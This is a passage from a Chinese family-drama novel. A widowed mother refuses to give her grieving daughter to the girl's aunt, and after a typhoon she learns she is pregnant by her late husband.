林飞鱼眨眨眼,眼泪吧嗒掉下来:“姑姑说她有爸爸用过的东西,这书是爸爸上学时用过的,常叔叔,我想爸爸了……” 大家都说爸爸死了,小白死的时候她还能把小白葬在凤凰树下,可爸爸死了,她连人都没看到。 瞎婆婆说人死了会变成鬼魂,但她把整个大院都找遍了,她也没找到爸爸的鬼魂,她真的好想爸爸,爸爸为什么不回来。 李兰之没想到是这个理由,她难受地转过头去,死死咬住嘴唇。 常明松心里也很不是滋味。 李兰之半刻也不想呆在乔家,当下就要带林飞鱼走,却被林雅姿给拦住了去路。 林雅姿说:“嫂子你迟早是要改嫁的,不如现在就把飞鱼给我们,我向你保证,我会把飞鱼当做亲生女儿对待。” 李兰之冷笑:“你说的话我连标点符号都不信。” 说着她让常明松先带林飞鱼出去,然后看着林雅姿说:“我不知道你们要飞鱼的目的是什么,但我劝你们别再搞这些小动作,还有抚恤金该分你们的,我一分也不会多拿,但不该是你们的,你们也别惦记,否则就别怪我不客气。” 林雅姿也跟着笑了:“嫂子你要怎么不客气法?” 李兰之压低声音说:“你该不会以为你之前偷听境外电台的事没人知道吧?” 这话成功把林雅姿定在原地,脸瞬间白得跟纸一样。 这场台风造成了全市134万亩水稻受灾,三万多间房子和仓库倒塌,伤亡人数过百人。 台风过后,李兰之的月事还没来,她跟工厂请了半天假去市里看中医。 从老中医馆出来,李兰之一把坐在旁边的台阶上。 她看着远处笔直的木棉树,广州的秋天没有落叶缤纷的景象,树叶到了这时候依旧青翠,两只灰雀飞过来停在枝头上,头亲密地挨在一起。 她想起第一次怀孕时林有成高兴得把她抱起来的画面,鼻子一阵酸楚,她下意识摸了摸扁平的肚子,小声道:“有成,我有了我们的孩子。”